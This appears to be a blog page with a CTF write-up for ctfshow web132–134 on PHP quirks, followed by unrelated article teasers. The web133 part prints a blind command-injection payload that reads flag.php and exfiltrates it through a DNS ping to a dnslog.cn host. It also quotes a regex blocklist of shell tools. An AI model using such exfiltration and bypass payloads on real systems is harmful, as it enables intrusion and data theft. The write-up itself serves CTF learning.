news 2026/2/4 6:03:17

ctfshow 132,133,134(php特性)

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
ctfshow 132,133,134(php特性)

web132

打开指挥是个blog网站,我们用dirsearh扫描一下目录

访问/admin/index.php

查看源码

<?php include("flag.php"); highlight_file(__FILE__); if(isset($_GET['username']) && isset($_GET['password']) && isset($_GET['code'])){ $username = (String)$_GET['username']; $password = (String)$_GET['password']; $code = (String)$_GET['code']; if($code === mt_rand(1,0x36D) && $password === $flag || $username ==="admin"){ if($code == 'admin'){ echo $flag; } } }

&&需要两边同事都要满足,而||只需要两边任意一个满足就行了。

我们满足username="admin" 然后内层if还要求code='admin' 还要带上password 因为必须有

?code=admin&username=admin&password=

web133

源码

<?php error_reporting(0); highlight_file(__FILE__); //flag.php if($F = @$_GET['F']){ if(!preg_match('/system|nc|wget|exec|passthru|netcat/i', $F)){ eval(substr($F,0,6)); }else{ die("6个字母都还不够呀?!"); } }

源码中只对前六个字符作为php代码执行,,因为这个题无显然后这道题用到了数据外带。

需要用到dnslog.cn获取

?F=`$F`; ping `cat flag.php | grep ctfshow | tr -cd "[a-z]"/"[0-9]"`.vlyye3.dnslog.cn -c 1

tr -cd就是只保留指定字符

-c 1就是ping1一次

截取出来的用8 4 4 4 12分开,并且手动添加- 因为这里我们只要求返回0-9和a-z的。

web134

<?php highlight_file(__FILE__); $key1 = 0; $key2 = 0; if(isset($_GET['key1']) || isset($_GET['key2']) || isset($_POST['key1']) || isset($_POST['key2'])) { die("nonononono"); } @parse_str($_SERVER['QUERY_STRING']); extract($_POST); if($key1 == '36d' && $key2 == '36d') { die(file_get_contents('flag.php')); }

@parse_str($_SERVER['QUERY_STRING'])这一行

$_SERVER['QUERY_STRING']的意思就是读取?后的。

parse_str,将字符串解析成多个变量

例如?a=123&b=456

就变成$a=123 $b=456

而传入的里面又不能只有key1,key2

?_POST[key1]=36d&_POST[key2]=36d

让他给咱前面添加一个。然后看源代码拉到底部。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/2/3 9:58:25

阿尔巴尼亚考古遗址采用Sonic重现古代市集喧嚣

阿尔巴尼亚考古遗址采用Sonic重现古代市集喧嚣 在阿尔巴尼亚一处尘封千年的古市集遗址中&#xff0c;游客正驻足聆听一位“卖鱼妇”用古老方言吆喝叫卖&#xff0c;她嘴唇开合自然&#xff0c;语调起伏生动&#xff0c;仿佛穿越时空而来。不远处&#xff0c;铁匠捶打金属的间隙…

作者头像 李华
网站建设 2026/2/3 13:25:55

电科毕设 基于单片机的姿态检测与可视化系统(源码+硬件+论文)

文章目录 1 前言2 设计方案2.1 MPU60502.2 工作原理2.3 单片机与MPU6050通信2.4 mpu6050 数据格式2.5 倾角计算方法 3 核心软件设计4 实现效果5 最后 1 前言 &#x1f525; 这两年开始毕业设计和毕业答辩的要求和难度不断提升&#xff0c;传统的毕设题目缺少创新和亮点&#x…

作者头像 李华
网站建设 2026/2/3 12:33:14

加拿大远程医疗项目集成Sonic改善偏远地区就诊体验

加拿大远程医疗项目集成Sonic改善偏远地区就诊体验 在加拿大北部的因纽特社区&#xff0c;冬季气温常常跌破零下40摄氏度&#xff0c;道路封闭、航班取消是家常便饭。一位患有糖尿病的老年患者需要定期了解胰岛素注射注意事项&#xff0c;但最近一次医生巡诊已过去三周。以往&a…

作者头像 李华
网站建设 2026/1/29 16:44:10

OSError: [Errno 22]无效参数?确认duration为正数

Sonic数字人生成中duration参数详解&#xff1a;避免“OSError: [Errno 22]”的关键实践 在当前AI内容创作爆发的背景下&#xff0c;语音驱动的数字人视频正迅速渗透进短视频、电商直播、在线教育等场景。只需一张静态人脸图和一段音频&#xff0c;就能生成唇形精准对齐、表情…

作者头像 李华
网站建设 2026/2/2 20:36:08

腾讯Techo Day展示Sonic在社交产品中的潜在应用

腾讯Techo Day展示Sonic在社交产品中的潜在应用 当我们在微信视频号里看到一个“会说话的头像”自然地播报新闻&#xff0c;或是在客服界面中遇见一位表情生动、口型精准匹配语音的虚拟助手时&#xff0c;背后很可能正运行着一项名为 Sonic 的轻量级语音驱动数字人技术。这项由…

作者头像 李华
网站建设 2026/2/4 2:15:40

ModelScope魔搭社区收录Sonic模型,支持在线体验

Sonic模型入驻ModelScope魔搭社区&#xff1a;开启轻量级数字人创作新时代 在虚拟主播24小时不间断直播、AI教师精准讲解知识点、电商带货视频批量生成的今天&#xff0c;我们正见证一场由AIGC驱动的内容生产革命。而在这场变革中&#xff0c;一个关键瓶颈始终存在&#xff1a;…

作者头像 李华